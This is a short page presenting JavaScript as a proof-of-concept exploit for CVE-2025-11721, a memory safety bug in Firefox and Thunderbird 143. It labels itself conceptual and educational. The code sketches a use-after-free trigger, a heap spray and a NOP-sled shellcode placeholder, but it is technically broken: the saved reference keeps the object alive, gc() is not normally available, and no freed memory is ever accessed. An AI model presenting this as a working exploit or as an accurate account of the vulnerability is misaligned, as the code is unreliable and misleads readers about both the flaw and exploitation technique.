CVE-2025-11721 Firefox/Thunderbird 143 内存安全漏洞

# CVE-2025-11721 - Firefox 143 / Thunderbird 143 Memory Safety Bug PoC # Note: This is a conceptual PoC demonstrating the exploitation pattern for memory safety bugs. # Actual exploitation requires precise memory layout control and may vary by platform. # WARNING: For educational and authorized testing purposes only. // PoC for Use-After-Free type memory corruption in Firefox 143 // The vulnerability exists in the JavaScript engine's object handling function trigger_uaf() { // Step 1: Create an object that will be vulnerable to UAF let vulnerable_obj = { data: new ArrayBuffer(0x1000), callback: function() { return this.data; } }; // Step 2: Store a reference for later use after free let saved_ref = vulnerable_obj.callback; // Step 3: Trigger garbage collection to free the object vulnerable_obj = null; gc(); // Force garbage collection // Step 4: Allocate new objects to fill the freed memory slot let spray = []; for (let i = 0; i < 10000; i++) { spray.push(new ArrayBuffer(0x1000)); } // Step 5: Access the dangling pointer - triggers UAF // This causes memory corruption as the freed memory is now reused try { saved_ref(); } catch(e) { // Memory corruption has occurred } } // Alternative: Heap spray + type confusion trigger function heap_spray_exploit() { let shellcode = new Uint8Array([ 0x90, 0x90, 0x90, 0x90, // NOP sled // Shellcode would be placed here for arbitrary code execution ]); // Spray heap with controlled data let spray_arr = []; for (let i = 0; i < 0x1000; i++) { spray_arr.push(shellcode); } // Trigger the memory corruption vulnerability trigger_uaf(); } // Execute the exploit trigger_uaf();